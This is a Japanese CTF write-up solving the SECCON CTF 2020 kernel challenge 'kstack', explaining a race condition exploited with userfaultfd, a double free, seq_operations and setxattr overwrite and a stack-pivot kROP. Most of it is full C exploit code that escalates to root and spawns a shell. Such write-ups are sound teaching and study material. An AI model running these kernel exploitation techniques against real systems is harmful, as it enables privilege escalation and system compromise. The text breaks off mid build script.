イントロ
いつぞや開催された SECCON CTF 2020。 その pwn 問題を全部解き直すシリーズ part.2 です。前回までのエントリは以下を参照してください。
本エントリでは kernel exploit 問題である kstack を解いていきます。
静的解析
配布ファイルは以下の通り:
bzImage
:Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #18 0GNU/Linux
rootfs.cpio: initram
start.sh
: QEMU 起動スクリプト。NIC は e1000。SMEP・KASLR 有効。kstack.c
: LKM ソースファイル。後述。
本 LKM は stack
という名前のプロセスファイルをインストールする。
fops
には unlocked_ioctl
のみが登録されており、簡易的な PUSH/POP をシミュレートする。
Vulns
unlocked_ioctl
として登録されている proc_ioctl
は内部で copy_from_user/copy_to_user
を呼び出すのだが、この際にロックが取られないため race condition が発生する可能性が有る。
copy_from_user/copy_to_user
はそれ自体がそれなりに重い操作であるため、何万回か繰り返せばまぁそのうち競合するだろうが、
今回は確実に競合を発生させるため、userfaultfd
を用いて copy_from_user
がユーザランドのページにアクセスした際にフォルトを発生させ、処理をユーザランドに戻すことにする。
Leak kernbase via shm_file_data
まずは試しに POP を 2 回行って double free を起こしてみる。
そのためにはまず、適当な値を PUSH しておく。
その後、別スレッドにおいて __NR_userfaultfd
システムコール(libc にラッパはない為直接呼ぶ)で usefaultfd file descriptor を入手する。そのあと mmap
で指定したアドレス(0x117117000
)に領域を確保し、確保した領域を uffd
に対する ioctl
で監視する。
mmap
領域が監視されている状態で、その領域に対して POP を行う。
lazy loading のためにmmap
領域は実際にはまだページが確保されていないから、
この POP 内の copy_to_user
でページフォルトが起こり、処理は指定したユーザランドのフォルトハンドラに移る。
この POP を一旦放置した状態でフォルトハンドラにおいてもう一度 POP を行えば無事に 100%の確率で double free が発生する。
今回モジュール内で使用されている Element
構造体は全体のサイズが 0x18bytes である。
よって、これは free された後に kmalloc-32
に入ることになる。このスラブに入る構造体の中でなにかいいものがないかを以下で探す:
ここでは shm_file_data
構造体を利用する。これは shmat
シスコールの内部で生成される構造体である:
ここで *sfd
が struct shm_file_data
である:
そのサイズは 0x20bytes であり、kmalloc-32
にのることがわかる:
double free -> push -> shm_file_data
生成 -> pop の順に操作することで shm_file_data
の 0x8~0x10byte 目の値が読めるはずなのだが、何度やっても上手く pop されなかった。
それもそのはずで、POP の際には以下のように pid
の確認をしているのを失念していた:
というわけで、方向転換をする。
まず先に shm_file_data
を kfree
しておく。その後で POP を行い、
shm_file_data
として使われていたスラブオブジェクトを Element
構造体として確保する。
pid
などを設定した後 copy_to_user
を行うのだが、ここでフォルトを発生させてハンドラに処理を移す。
その内部で PUSH を行うことで、pid
は適切に設定されているものの Element.value
に該当するデータは前の shm_file_data 内のポインタが残っており、これを leak することができる。
ここで shm_file_data
を kfree
する方法だが、shmctl(IPC_RMID)
をすることで該当セグメントに対して破棄済みの印をつけることができる。
その後でセグメントが破棄されるわけなんだが、正確にどのタイミングで破棄されるのかが分からなかった。
大体の場合はプロセスが死んだ直後に shm_release
が呼ばれるのだが、呼ばれない場合もごく稀にあった。
上手くいった例が以下のとおりである(デバッグ目的で自前の巨大 kernel を使っているためブートに異様に時間がかかっている+これまたデバッグ目的で root ユーザを使用している):
まぁ、安定はしないが取り敢えず leak はできている。90%くらいは成功するからこれでいいだろう。
ここまでのコードは以下の通り:
tmp.c 1#define _GNU_SOURCE
2#include<sys/types.h>
3#include<stdio.h>
4#include<linux/userfaultfd.h>
5#include<pthread.h>
6#include<errno.h>
7#include<stdlib.h>
8#include<fcntl.h>
9#include<signal.h>
10#include<string.h>
11#include<sys/mman.h>
12#include<sys/syscall.h>
13#include<poll.h>
14#include<unistd.h>
15#include<string.h>
16#include<sys/ioctl.h>
17#include<sys/prctl.h>
18#include<sys/shm.h>
19#define ulong unsigned long
20#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
21 } while (0)
22#define PAGE 0x1000
23ulong user_cs,user_ss,user_sp,user_rflags;
24int fd; // file descriptor of /dev/note
25char *addr = 0x117117000; // memory region supervisored
26char *shmaddr = 0x200200000; // memory region shmat
27const char *buf[0x1000]; // userland buffer
28const unsigned long len = PAGE*0x10; // memory length
29unsigned long leak, kernbase;
30void pop_shell(void)
31{
32 char *argv[] = {"/bin/sh",NULL};
33 char *envp[] = {NULL};
34 execve("/bin/sh",argv,envp);
35}
36static void save_state(void) {
37 asm(
38 "movq %%cs, %0\n"
39 "movq %%ss, %1\n"
40 "movq %%rsp, %2\n"
41 "pushfq\n"
42 "popq %3\n"
43 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
44}
45#define POP 0x57ac0002
46#define PUSH 0x57ac0001
47struct Element{
48 int owner;
49 unsigned long value;
50 struct Element *fd;
51};
52int _push(unsigned long *data)
53{
54 if(ioctl(fd, PUSH, data) < 0)
55 errExit("_push");
56 printf("[+] pushed %llx\n", *data);
57 return 0;
58}
59int _pop(unsigned long *givenbuf)
60{
61 if(ioctl(fd, POP, givenbuf) < 0)
62 errExit("_pop");
63 printf("[+] poped %llx\n", *givenbuf);
64 return 0;
65}
66static void call_shmat(void)
67{
68 int shmid;
69 void *addr;
70 pid_t pid;
71 if((pid=fork()) == 0){
72 if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1)
73 errExit("shmget fail");
74 if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1)
75 errExit("shmat fail");
76 if(shmctl(shmid, IPC_RMID, NULL)==-1)
77 errExit("shmctl");
78 printf("[ ] Success call_shmat: %p\n", addr);
79 printf("[ ] Child is exiting...\n");
80 exit(0);
81 }
82 wait(pid);
83 printf("[ ] Parent is returning...\n");
84}
85// cf. man page of userfaultfd
86static void* fault_handler_thread(void *arg)
87{
88 puts("[+] entered fault_handler_thread");
89 static struct uffd_msg msg; // data read from userfaultfd
90 struct uffdio_copy uffdio_copy;
91 long uffd = (long)arg; // userfaultfd file descriptor
92 struct pollfd pollfd; //
93 int nready; // number of polled events
94 unsigned long hogebuf;
95 // set poll information
96 pollfd.fd = uffd;
97 pollfd.events = POLLIN;
98 // wait for poll
99 puts("[+] polling...");
100 while(poll(&pollfd, 1, -1) > 0){
101 if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
102 errExit("poll");
103 // read an event
104 if(read(uffd, &msg, sizeof(msg)) == 0)
105 errExit("read");
106 if(msg.event != UFFD_EVENT_PAGEFAULT)
107 errExit("unexpected pagefault");
108 printf("[!] page fault: %p\n",msg.arg.pagefault.address);
109 //** Now, another thread is halting. Do my business. **//
110 puts("[+] pop before push!");
111 _pop(&hogebuf); // leak shm_file_data->ipc_namespace
112 leak = hogebuf;
113 kernbase = leak-0xc38600;
114 printf("[!] leaked: %llx\n", leak);
115 printf("[!] kernbase(text): %llx\n", kernbase);
116 // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
117 uffdio_copy.src = buf;
118 uffdio_copy.dst = msg.arg.pagefault.address & ~(PAGE-1);
119 uffdio_copy.len = PAGE;
120 uffdio_copy.mode = 0;
121 if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
122 errExit("ioctl-UFFDIO_COPY");
123 break;
124 }
125 puts("[+] exiting fault_handler_thrd");
126}
127// cf. man page of userfaultfd
128void register_userfaultfd_and_halt(void)
129{
130 puts("[+] registering userfaultfd...");
131 long uffd; // userfaultfd file descriptor
132 pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
133 struct uffdio_api uffdio_api;
134 struct uffdio_register uffdio_register;
135 int s;
136 // create userfaultfd file descriptor
137 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
138 if(uffd == -1)
139 errExit("userfaultfd");
140 // enable uffd object via ioctl(UFFDIO_API)
141 uffdio_api.api = UFFD_API;
142 uffdio_api.features = 0;
143 if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
144 errExit("ioctl-UFFDIO_API");
145 // mmap
146 puts("[+] mmapping...");
147 addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
148 puts("[+] mmapped...");
149 if(addr == MAP_FAILED)
150 errExit("mmap");
151 // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
152 uffdio_register.range.start = addr;
153 uffdio_register.range.len = PAGE*0x10;
154 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
155 if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
156 errExit("ioctl-UFFDIO_REGISTER");
157 s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
158 if(s!=0){
159 errno = s;
160 errExit("pthread_create");
161 }
162 puts("[+] registered userfaultfd");
163}
164int main(void)
165{
166 unsigned long secret;
167 unsigned long content_ptr;
168 unsigned long modulebase;
169 unsigned long dif_main_buf, dif_notes_array;
170 unsigned long page_offset_base;
171 unsigned long rip_call_copy_to_user;
172 unsigned long addr_copy_to_user;
173 signed long rel_jmp_offset;
174 unsigned long kern_textbase;
175 void *tmp_addr;
176 unsigned char *addr_cred;
177 unsigned long addr_cred_in_task_struct;
178 unsigned long tmp_buf = 0xdeadbeef;
179 unsigned long diff_copy_to_user = 0x353ee0;
180 // save state
181 save_state();
182 // open miscdevice
183 if((fd=open("/proc/stack",O_RDONLY))<0)
184 errExit("open-/proc/stack");
185 // leak secret
186 register_userfaultfd_and_halt();
187 sleep(1);
188 call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
189 _push(addr); // invoke fault
190 return 0;
191}
Double free via failure of copy_from_user
さて、ここまでで kernbase のリークは済んだ。このあとは PC を奪取する必要が有る。
上のプログラムではページフォルトをハンドルした後、処理が copy_to_user
に戻り、以降はほぼ正常に動作する。
但し、中断した PUSH で扱っている Element
インスタンスは POP において kfree
されている。
ここで copy_from_user
が失敗した場合、以下の処理でさらに同じインスタンスが kfree
されて double free が生じる:
copy_from_user
を失敗させるためには、その領域に対してアクセス権限がなければよいため、フォルトハンドラの内部において mprotect
でページ権限を変更することにする:
こうしてユーザランドからの読み込みを失敗させると、以下のように EINVAL
が返されて copy_from_user
が失敗し、double free が生じる:
Get PC via seq_operations and setxattr
double free があれば、PC を奪取することができるようになる。 そのための条件は、
- 1: 構造体内に関数ポインタを含むこと
- 2: 1 と別に構造体内に任意の値を書き込めること
さて、先程の shm_file_data
構造体を考えると、このどちらの条件も満たしていないことが分かる。
よって、こいつとは kernbase leak を最後におさらばする 👋👋👋👋
(というかひねくれずに最初から以下の常套手段を使えばよかったのに…)
構造体内に関数ポインタを含み kmalloc-32 に入る構造体として seq_operations
を用いる。
これは 4 つの関数ポインタを保持し、任意のタイミングで呼び出すことができるため victim 側の構造体として利用する。
任意の値の書き込みには定番の setxattr
を呼び出す。
確保するチャンクのサイズやそこに書き込む値を自由に制御することができるため、うってつけの関数である。尚、確保されたオブジェクトは関数の終了時に kfree
される。(今回は別に問題ない)
この 2 つと double free を組み合わせて試しに PC を 0xDEADBEEF
に飛ばしてみるコードが以下の通り:
1#define _GNU_SOURCE
2#include<sys/types.h>
3#include<stdio.h>
4#include<linux/userfaultfd.h>
5#include<pthread.h>
6#include<errno.h>
7#include<stdlib.h>
8#include<fcntl.h>
9#include<signal.h>
10#include<string.h>
11#include<sys/mman.h>
12#include<sys/syscall.h>
13#include<poll.h>
14#include<unistd.h>
15#include<string.h>
16#include<sys/ioctl.h>
17#include<sys/prctl.h>
18#include<sys/shm.h>
19#include<sys/xattr.h>
20#define ulong unsigned long
21#define errExit(msg) do { perror("[ERROR EXIT]\n"); \
22 perror(msg); \
23 exit(EXIT_FAILURE); \
24 } while (0)
25#define PAGE 0x1000
26ulong user_cs,user_ss,user_sp,user_rflags;
27int fd; // file descriptor of /dev/note
28char *addr = 0x117117000; // memory region supervisored
29char *shmaddr = 0x200200000; // memory region shmat
30const char *buf[0x1000]; // userland buffer
31const unsigned long len = PAGE*0x10; // memory length
32unsigned long leak, kernbase;
33void pop_shell(void)
34{
35 char *argv[] = {"/bin/sh",NULL};
36 char *envp[] = {NULL};
37 execve("/bin/sh",argv,envp);
38}
39static void save_state(void) {
40 asm(
41 "movq %%cs, %0\n"
42 "movq %%ss, %1\n"
43 "movq %%rsp, %2\n"
44 "pushfq\n"
45 "popq %3\n"
46 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
47}
48#define POP 0x57ac0002
49#define PUSH 0x57ac0001
50struct Element{
51 int owner;
52 unsigned long value;
53 struct Element *fd;
54};
55int _push(unsigned long *data)
56{
57 if(ioctl(fd, PUSH, data) < 0)
58 if(errno == EINVAL){
59 printf("[-] copy_from_user failed.\n");
60 errno = 0;
61 }else
62 errExit("_push");
63 // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
64 return 0;
65}
66int _pop(unsigned long *givenbuf)
67{
68 if(ioctl(fd, POP, givenbuf) < 0)
69 errExit("_pop");
70 printf("[+] poped %llx\n", *givenbuf);
71 return 0;
72}
73static void call_shmat(void)
74{
75 int shmid;
76 void *addr;
77 pid_t pid;
78 if((pid=fork()) == 0){
79 if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1)
80 errExit("shmget fail");
81 if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1)
82 errExit("shmat fail");
83 if(shmctl(shmid, IPC_RMID, NULL)==-1)
84 errExit("shmctl");
85 printf("[ ] Success call_shmat: %p\n", addr);
86 printf("[ ] Child is exiting...\n");
87 exit(0);
88 }
89 wait(pid);
90 printf("[ ] Parent is returning...\n");
91}
92// cf. man page of userfaultfd
93static void* fault_handler_thread(void *arg)
94{
95 puts("[+] entered fault_handler_thread");
96 static struct uffd_msg msg; // data read from userfaultfd
97 struct uffdio_range uffdio_range;
98 long uffd = (long)arg; // userfaultfd file descriptor
99 struct pollfd pollfd; //
100 int nready; // number of polled events
101 unsigned long hogebuf;
102 // set poll information
103 pollfd.fd = uffd;
104 pollfd.events = POLLIN;
105 // wait for poll
106 puts("[+] polling...");
107 while(poll(&pollfd, 1, -1) > 0){
108 if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
109 errExit("poll");
110 // read an event
111 if(read(uffd, &msg, sizeof(msg)) == 0)
112 errExit("read");
113 if(msg.event != UFFD_EVENT_PAGEFAULT)
114 errExit("unexpected pagefault");
115 printf("[!] page fault: %p\n",msg.arg.pagefault.address);
116 //********* Now, another thread is halting. Do my business. **//
117 // leak kernbase
118 puts("[+] pop before push!");
119 _pop(&hogebuf); // leak shm_file_data->ipc_namespace
120 leak = hogebuf;
121 kernbase = leak-0xc38600;
122 printf("[!] leaked: %llx\n", leak);
123 printf("[!] kernbase(text): %llx\n", kernbase);
124 // change page permission and make fail copy_from_user
125 mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE);
126 printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1));
127 uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1);
128 uffdio_range.len = PAGE;
129 if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
130 errExit("ioctl-UFFDIO_UNREGISTER");
131 printf("[+] unregistered supervisored region.\n");
132 break;
133 }
134 puts("[+] exiting fault_handler_thrd");
135}
136// cf. man page of userfaultfd
137void register_userfaultfd_and_halt(void)
138{
139 puts("[+] registering userfaultfd...");
140 long uffd; // userfaultfd file descriptor
141 pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
142 struct uffdio_api uffdio_api;
143 struct uffdio_register uffdio_register;
144 int s;
145 // create userfaultfd file descriptor
146 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
147 if(uffd == -1)
148 errExit("userfaultfd");
149 // enable uffd object via ioctl(UFFDIO_API)
150 uffdio_api.api = UFFD_API;
151 uffdio_api.features = 0;
152 if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
153 errExit("ioctl-UFFDIO_API");
154 // mmap
155 puts("[+] mmapping...");
156 addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
157 puts("[+] mmapped...");
158 if(addr == MAP_FAILED)
159 errExit("mmap");
160 // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
161 uffdio_register.range.start = addr;
162 uffdio_register.range.len = PAGE*0x10;
163 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
164 if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
165 errExit("ioctl-UFFDIO_REGISTER");
166 s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
167 if(s!=0){
168 errno = s;
169 errExit("pthread_create");
170 }
171 puts("[+] registered userfaultfd");
172}
173int main(void)
174{
175 unsigned long secret;
176 unsigned long content_ptr;
177 unsigned long modulebase;
178 unsigned long dif_main_buf, dif_notes_array;
179 unsigned long page_offset_base;
180 unsigned long rip_call_copy_to_user;
181 unsigned long addr_copy_to_user;
182 signed long rel_jmp_offset;
183 unsigned long kern_textbase;
184 void *tmp_addr;
185 unsigned char *addr_cred;
186 unsigned long addr_cred_in_task_struct;
187 unsigned long tmp_buf = 0xdeadbeef;
188 int sfd;
189 unsigned long diff_copy_to_user = 0x353ee0;
190 // save state
191 save_state();
192 // open target proc file
193 if((fd=open("/proc/stack",O_RDONLY))<0)
194 errExit("open-/proc/stack");
195 // set userfaultfd
196 register_userfaultfd_and_halt();
197 sleep(1);
198 //
199 call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
200 _push(addr); // invoke fault
201 // alloc seq_operations;
202 if((sfd = open("proc/self/stat", O_RDONLY)) == -1)
203 errExit("single_open");
204 // overwrite seq_operations;
205 char buf[0x20];
206 for(int ix=0; ix!=4; ++ix)
207 *(unsigned long*)(buf+ix*8) = 0xDEADBEEF;
208 setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE);
209 // pop rip to death
210 read(sfd, buf, 0x10);
211 return 0;
212}
double free されて kmalloc-32
に対して同一オブジェクトが 2 つ繋がれているため、
以下のように setxattr
内で kvmalloc
によって確保されたチャンクが seq_operations
として確保されたものと同一のものであることが分かるであろう:
但し、先頭 8byte は kfree
(厳密に言うと inline do_slab_free
)において変更されるため、先頭 8byte の値は自由にいじることができない前提でいる必要が有る。今回は int (*show)()
だけ書き換えられれば良いため、問題なし。関数ポインタを 0xDEADBEEF
で書き換えたために次に read
する際にパニックが起きる:
Root via stack pivot
ここまでで PC を奪取することができた。また、今回は SMEP のみ有効で SMAP 無効のため、kROP ができる。 すごく普通の kROP のため省略するが、詳細は以下のエントリらへんに書いておいた気がする。
Exploit
自前カーネルのオフセットを利用している。オフセットを直せば問題環境にそのまま利用できるが、二度手間なのでしていない。 SMEP/KASLR 有効。
exploit.c 1#define _GNU_SOURCE
2#include<stdio.h>
3#include<linux/userfaultfd.h>
4#include<pthread.h>
5#include<errno.h>
6#include<stdlib.h>
7#include<fcntl.h>
8#include<signal.h>
9#include<string.h>
10#include<sys/mman.h>
11#include<sys/syscall.h>
12#include<poll.h>
13#include<unistd.h>
14#include<string.h>
15#include<sys/ioctl.h>
16#include<sys/prctl.h>
17#include<sys/shm.h>
18#include<sys/xattr.h>
19#define ulong unsigned long
20#define errExit(msg) do { perror("[ERROR EXIT]\n"); \
21 perror(msg); \
22 exit(EXIT_FAILURE); \
23 } while (0)
24#define WAIT(msg) puts(msg); \
25 fgetc(stdin);
26#define PAGE 0x1000
27ulong user_cs,user_ss,user_sp,user_rflags;
28int fd; // file descriptor of /dev/note
29char *addr = 0x117117000; // memory region supervisored
30char *shmaddr = 0x200200000; // memory region shmat
31const char *buf[0x1000]; // userland buffer
32const ulong len = PAGE*0x10; // memory length
33ulong leak, kernbase;
34void pop_shell(void)
35{
36 char *argv1[] = {"/bin/cat","/flag",NULL};
37 char *envp1[] = {NULL};
38 execve("/bin/cat",argv1,envp1);
39 char *argv2[] = {"/bin/sh",NULL};
40 char *envp2[] = {NULL};
41 execve("/bin/sh",argv2,envp2);
42}
43static void save_state(void) {
44 asm(
45 "movq %%cs, %0\n"
46 "movq %%ss, %1\n"
47 "movq %%rsp, %2\n"
48 "pushfq\n"
49 "popq %3\n"
50 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
51}
52#define POP 0x57ac0002
53#define PUSH 0x57ac0001
54struct Element{
55 int owner;
56 ulong value;
57 struct Element *fd;
58};
59int _push(ulong *data)
60{
61 if(ioctl(fd, PUSH, data) < 0)
62 if(errno == EINVAL){
63 printf("[-] copy_from_user failed.\n");
64 errno = 0;
65 }else
66 errExit("_push");
67 // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
68 return 0;
69}
70int _pop(ulong *givenbuf)
71{
72 if(ioctl(fd, POP, givenbuf) < 0)
73 errExit("_pop");
74 printf("[+] poped %llx\n", *givenbuf);
75 return 0;
76}
77static void call_shmat(void)
78{
79 int shmid;
80 void *addr;
81 pid_t pid;
82 if((pid=fork()) == 0){
83 if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1)
84 errExit("shmget fail");
85 if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1)
86 errExit("shmat fail");
87 if(shmctl(shmid, IPC_RMID, NULL)==-1)
88 errExit("shmctl");
89 printf("[ ] Success call_shmat: %p\n", addr);
90 printf("[ ] Child is exiting...\n");
91 exit(0);
92 }
93 wait(pid);
94 printf("[ ] Parent is returning...\n");
95}
96// cf. man page of userfaultfd
97static void* fault_handler_thread(void *arg)
98{
99 puts("[+] entered fault_handler_thread");
100 static struct uffd_msg msg; // data read from userfaultfd
101 struct uffdio_range uffdio_range;
102 long uffd = (long)arg; // userfaultfd file descriptor
103 struct pollfd pollfd; //
104 int nready; // number of polled events
105 ulong hogebuf;
106 // set poll information
107 pollfd.fd = uffd;
108 pollfd.events = POLLIN;
109 // wait for poll
110 puts("[+] polling...");
111 while(poll(&pollfd, 1, -1) > 0){
112 if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
113 errExit("poll");
114 // read an event
115 if(read(uffd, &msg, sizeof(msg)) == 0)
116 errExit("read");
117 if(msg.event != UFFD_EVENT_PAGEFAULT)
118 errExit("unexpected pagefault");
119 printf("[!] page fault: %p\n",msg.arg.pagefault.address);
120 //********* Now, another thread is halting. Do my business. **//
121 // leak kernbase
122 puts("[+] pop before push!");
123 _pop(&hogebuf); // leak shm_file_data->ipc_namespace
124 leak = hogebuf;
125 kernbase = leak-0xc38600;
126 printf("[!] leaked: %llx\n", leak);
127 printf("[!] kernbase(text): %llx\n", kernbase);
128 // change page permission and make fail copy_from_user
129 mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE);
130 printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1));
131 uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1);
132 uffdio_range.len = PAGE;
133 if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
134 errExit("ioctl-UFFDIO_UNREGISTER");
135 printf("[+] unregistered supervisored region.\n");
136 break;
137 }
138 puts("[+] exiting fault_handler_thrd");
139}
140// cf. man page of userfaultfd
141void register_userfaultfd_and_halt(void)
142{
143 puts("[+] registering userfaultfd...");
144 long uffd; // userfaultfd file descriptor
145 pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
146 struct uffdio_api uffdio_api;
147 struct uffdio_register uffdio_register;
148 int s;
149 // create userfaultfd file descriptor
150 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
151 if(uffd == -1)
152 errExit("userfaultfd");
153 // enable uffd object via ioctl(UFFDIO_API)
154 uffdio_api.api = UFFD_API;
155 uffdio_api.features = 0;
156 if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
157 errExit("ioctl-UFFDIO_API");
158 // mmap
159 puts("[+] mmapping...");
160 addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
161 puts("[+] mmapped...");
162 if(addr == MAP_FAILED)
163 errExit("mmap");
164 // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
165 uffdio_register.range.start = addr;
166 uffdio_register.range.len = PAGE*0x10;
167 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
168 if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
169 errExit("ioctl-UFFDIO_REGISTER");
170 s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
171 if(s!=0){
172 errno = s;
173 errExit("pthread_create");
174 }
175 puts("[+] registered userfaultfd");
176}
177int main(void)
178{
179 /** gadgets **/
180 ulong pop_rdi = 0x194964;
181 // 0xffffffff81194964: pop rdi ; ret ; (19 found)
182 ulong pop_rcx = 0x0dee43;
183 // 0xffffffff810dee43: pop rcx ; ret ; (49 found)
184 ulong stack_pivot = 0x059d8b;
185 // 0xffffffff81059d8b: mov esp, 0x83C389C0 ; ret ; (1 found)
186 ulong prepare_kernel_cred = 0x06b960;
187 // ffffffff8106b960 T prepare_kernel_cred
188 ulong mov_rdi_rax = 0x0187bf;
189 // 0xffffffff810187bf: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found)
190 ulong commit_creds = 0x06b770;
191 // ffffffff8106b770 T commit_creds
192 ulong swapgs_restore_regs_and_return_to_usermode = 0x600a4a;
193 // ffffffff81600a34 T swapgs_restore_regs_and_return_to_usermode
194 /*
195 0xffffffff81600a4a <common_interrupt+74>: mov rdi,rsp
196 0xffffffff81600a4d <common_interrupt+77>: mov rsp,QWORD PTR gs:0x5004
197 0xffffffff81600a56 <common_interrupt+86>: push QWORD PTR [rdi+0x30]
198 0xffffffff81600a59 <common_interrupt+89>: push QWORD PTR [rdi+0x28]
199 0xffffffff81600a5c <common_interrupt+92>: push QWORD PTR [rdi+0x20]
200 0xffffffff81600a5f <common_interrupt+95>: push QWORD PTR [rdi+0x18]
201 0xffffffff81600a62 <common_interrupt+98>: push QWORD PTR [rdi+0x10]
202 0xffffffff81600a65 <common_interrupt+101>: push QWORD PTR [rdi]
203 0xffffffff81600a67 <common_interrupt+103>: push rax
204 0xffffffff81600a68 <common_interrupt+104>: xchg ax,ax
205 0xffffffff81600a6a <common_interrupt+106>: mov rdi,cr3
206 0xffffffff81600a6d <common_interrupt+109>: jmp 0xffffffff81600aa3 <common_interrupt+163>
207 0xffffffff81600a6f <common_interrupt+111>: mov rax,rdi
208 0xffffffff81600a72 <common_interrupt+114>: and rdi,0x7ff
209 */
210 void *tmp_addr;
211 ulong tmp_buf = 0xdeadbeef;
212 int sfd;
213 unsigned long* fstack;
214 ulong *rop;
215 // save state
216 save_state();
217 // open target proc file
218 if((fd=open("/proc/stack",O_RDONLY))<0)
219 errExit("open-/proc/stack");
220 // set userfaultfd
221 register_userfaultfd_and_halt();
222 sleep(1);
223 //
224 call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
225 _push(addr); // invoke fault
226 // alloc seq_operations;
227 if((sfd = open("proc/self/stat", O_RDONLY)) == -1)
228 errExit("single_open");
229 // overwrite seq_operations;
230 char buf[0x20];
231 printf("[+] stack pivot gadget: %p\n", kernbase + stack_pivot);
232 for(int ix=0; ix!=4; ++ix) // first 8byte is useless.
233 *(ulong*)(buf+ix*8) = (kernbase + stack_pivot);
234 setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE);
235 // alloc fake stack for 0x83C389C0
236 fstack = mmap(0x83C38000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
237 if(fstack != 0x83C38000)
238 errExit("fstack");
239 /********** construct kROP ***************/
240 rop = (ulong*)0x83C389c0;
241 // Get cred of init task.
242 *rop++ = kernbase + pop_rdi;
243 *rop++ = 0;
244 *rop++ = kernbase + prepare_kernel_cred;
245 // Commit that cred.
246 *rop++ = kernbase + pop_rcx; // Cuz mov_rdi_rax gadget contains rep inst, set counter to 0.
247 *rop++ = 0;
248 *rop++ = kernbase + mov_rdi_rax;
249 *rop++ = 0; // fake rbp
250 *rop++ = kernbase + commit_creds;
251 // Return to usermode by swapgs_restore_regs_and_return_to_usermode
252 *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
253 *rop++ = 0;
254 *rop++ = 0;
255 *rop++ = (ulong)&pop_shell;
256 *rop++ = user_cs;
257 *rop++ = user_rflags;
258 *rop++ = user_sp;
259 *rop++ = user_ss;
260 // pop shell
261 read(sfd, buf, 0x10);
262 return 0;
263}
264/****
265#!/bin/sh
266sudo rm -r ./extracted
267mkdir extracted
268cp ./rootfs.cpio ./rootfs_temp.cpio
269cd ./extracted
270cpio -idv < ../rootfs_temp.cpio
271cd ../
272rm ./rootfs_temp.cpio
273gcc ./exploit.c -o exploit --static -pthread
274cp ./exploit ./extracted/
275cp ./build/kstack.ko ./extracted/root/kstack.ko
276rm ./myrootfs.cpio
277chmod 777 -R ./extracted
278cd ./extracted
279find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio
280cd ../
281qemu-system-x86_64 \
282 -m 512M \
